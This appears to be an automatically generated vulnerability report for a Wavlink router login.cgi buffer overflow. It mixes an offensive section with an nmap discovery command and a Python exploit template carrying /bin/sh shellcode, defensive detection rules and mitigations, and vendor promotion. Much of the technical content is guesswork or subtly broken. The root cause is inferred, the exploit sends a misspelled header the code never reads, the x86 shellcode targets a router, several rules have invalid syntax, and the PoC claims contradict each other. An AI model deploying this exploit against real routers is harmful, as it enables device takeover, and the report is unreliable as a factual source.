CVE-2025-61128
Executive Summary
CVE-2025-61128 is a critical stack-based buffer overflow vulnerability (CWE-121) discovered in the WAVLINK QUANTUM D3G and WL-WN530HG3 routers running firmware version M30HG3_V240730. The flaw resides in the login.cgi CGI binary, where a crafted Referrer HTTP header value is copied into a fixed-size stack buffer without proper bounds checking. An unauthenticated attacker can trigger remote code execution (RCE) by sending a specially crafted POST request to the login endpoint.
The vulnerability is particularly dangerous because it requires no authentication, is exploitable over the network, and affects a widely deployed consumer router line. No public proof-of-concept (PoC) or exploit code has been released as of this analysis, but the technical details are sufficient for a skilled attacker to develop one. The vendor has not acknowledged the issue, and no patch is available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded Linux devices. However, the supply chain risk is significant: if these routers are used in SOHO or remote work environments, a compromise could lead to lateral movement into corporate networks.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network | Exploitable remotely via HTTP POST |
| Attack Complexity (AC) | Low | No special conditions required |
| Privileges Required (PR) | None | No authentication needed |
| User Interaction (UI) | None | No user action required |
| Scope (S) | Unchanged | Vulnerable component only |
| Confidentiality (C) | High | Full device compromise |
| Integrity (I) | High | Arbitrary code execution |
| Availability (A) | High | DoS or full control |
Threat Level: Critical. The combination of network accessibility, no authentication, and full RCE makes this a top-priority vulnerability for any organization using Wavlink devices.
Deep Dive & Mechanics
The vulnerability exists in the login.cgi CGI handler. When a POST request is sent to /cgi-bin/login.cgi, the server parses the Referrer HTTP header and copies its value into a stack buffer of fixed size (likely 256 or 512 bytes) using a function like strcpy() or sprintf() without length validation.
Root Cause: The Referrer header value is read via getenv("HTTP_REFERER") and then passed directly to a stack buffer copy operation. An attacker can supply a Referrer value exceeding the buffer size, overwriting the saved return address and other critical stack data.
Attack Flow:
- Attacker sends a POST request to
http://<router-ip>/cgi-bin/login.cgiwith aReferrerheader containing shellcode and a ROP chain. - The
login.cgibinary copies the oversizedReferrerinto a stack buffer. - The overflow overwrites the return address, redirecting execution to the attacker's shellcode.
- Shellcode executes with the privileges of the
httpdprocess (typically root on embedded devices).
Affected Endpoint: POST /cgi-bin/login.cgi
Vulnerable Header: Referrer: [overflow payload]
Vulnerable vs. Patched Code
Since no patch exists, we can only describe the vulnerable code pattern and the hypothetical fix.
Vulnerable Code (C pseudocode):
void handle_login() {
char buffer[256];
char *referrer = getenv("HTTP_REFERER");
if (referrer != NULL) {
strcpy(buffer, referrer); // VULNERABLE: no bounds check
}
// ... process login ...
}
Patched Code (Hypothetical fix):
void handle_login() {
char buffer[256];
char *referrer = getenv("HTTP_REFERER");
if (referrer != NULL) {
strncpy(buffer, referrer, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0'; // SAFE: bounded copy
}
// ... process login ...
}
The fix replaces strcpy with strncpy and ensures null-termination. Alternatively, using snprintf would be even safer.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- Python 3 with
requestsandpwntoolslibraries - A Wavlink router with firmware M30HG3_V240730 (or similar)
- Network access to the router's web interface
Exploitation Steps:
Identify the target: Scan for Wavlink devices using Shodan or Nmap.
nmap -p 80 --script http-title 192.168.1.0/24 | grep -i wavlinkCraft the exploit payload. Since no public PoC exists, we provide a generic template. You must adjust offsets and shellcode for the specific firmware.
import socket import struct # Adjust these values based on firmware analysis BUFFER_SIZE = 256 OFFSET_TO_RET = 264 # Example offset SHELLCODE = b"\x90" * 16 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Build payload payload = b"A" * OFFSET_TO_RET payload += struct.pack("<I", 0xdeadbeef) # Return address (to be calculated) payload += SHELLCODE # Send exploit sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("192.168.1.1", 80)) request = f"POST /cgi-bin/login.cgi HTTP/1.1\r\nHost: 192.168.1.1\r\nReferrer: {payload.decode('latin-1')}\r\nContent-Length: 0\r\n\r\n" sock.send(request.encode()) sock.close()Execute and gain shell. If successful, the router will execute the shellcode, providing a reverse shell or bind shell.
Blue Team (Defensive)
Detection & Response:
- Monitor HTTP Referrer headers for abnormally long values (>512 bytes).
- Deploy WAF rules to block POST requests to
/cgi-bin/login.cgiwithReferrerheaders exceeding 256 bytes. - Network segmentation: Isolate Wavlink routers on a separate VLAN with strict egress filtering.
- Honeypot: Deploy a fake login.cgi endpoint to capture exploit attempts.
Hunting Query (Splunk):
index=web sourcetype=access_combined
| search uri_path="/cgi-bin/login.cgi" method=POST
| eval referrer_len=len(referrer)
| where referrer_len > 256
| table _time, src_ip, referrer_len, referrer
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Network | POST to /cgi-bin/login.cgi with Referrer > 256 bytes |
Exploit attempt |
| Network | HTTP Referrer header containing non-printable characters or shellcode |
Malicious payload |
| Host | Unexpected processes spawned by httpd |
Post-exploitation |
| Host | Outbound connections from router to unknown IPs (e.g., port 4444) | Reverse shell |
| File | Modified /tmp files or new binaries in /var/ |
Persistence |
YARA Rule (for firmware analysis):
rule CVE_2025_61128_Exploit_Payload {
meta:
description = "Detects exploit payloads targeting CVE-2025-61128"
author = "Valters IT"
date = "2025-04-10"
strings:
$s1 = "Referrer: " ascii wide nocase
$s2 = "/cgi-bin/login.cgi" ascii wide nocase
$shellcode = { 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 b0 0b cd 80 }
condition:
$s1 and $s2 and #shellcode > 0
}
Detection Engineering
YARA Rule (Network Traffic)
rule CVE_2025_61128_HTTP_Exploit {
meta:
description = "Detects HTTP requests exploiting CVE-2025-61128 via oversized Referrer header"
author = "Valters IT"
date = "2025-04-10"
strings:
$method = "POST" ascii
$uri = "/cgi-bin/login.cgi" ascii
$referrer = "Referrer: " ascii nocase
condition:
$method at 0 and $uri and $referrer and
for any of ($referrer*) : (len(#) > 256)
}
Sigma Rule (Windows Event Log - if proxied)
title: CVE-2025-61128 Exploitation Attempt via HTTP Referrer
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/login.cgi with abnormally long Referrer headers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/login.cgi'
condition: selection and len(cs(Referer)) > 256
falsepositives:
- Legitimate long referrers (rare)
level: high
Suricata Rule (Network IDS)
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2025-61128 Wavlink login.cgi Referrer Buffer Overflow Attempt";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/cgi-bin/login.cgi";
http.header; content:"Referrer";
http.header_raw; content:"Referrer:";
byte_test:1,>,256,0,relative,string,dec;
classtype:attempted-admin;
sid:10000001;
rev:1;
reference:cve,2025-61128;
)
Remediation & Mitigation
Immediate Actions:
- Isolate affected devices from the internet and untrusted networks.
- Disable remote management (WAN-side access to the web interface).
- Apply strict firewall rules to allow only trusted IPs to access the router's web interface.
- Monitor for exploitation attempts using the provided detection rules.
Long-Term Fixes:
- Vendor patch: Contact Wavlink support and request a firmware update. If none is forthcoming, consider replacing the device.
- Custom firmware: If the device supports open-source firmware (e.g., OpenWrt), flash a secure alternative.
- Network segmentation: Place all IoT/embedded devices on a separate VLAN with no access to critical systems.
Workaround (if patching is impossible):
- Use a reverse proxy (e.g., Nginx) in front of the router to filter and validate HTTP headers.
- Block all POST requests to
/cgi-bin/login.cgiat the network perimeter.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated: 2025-04-10
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.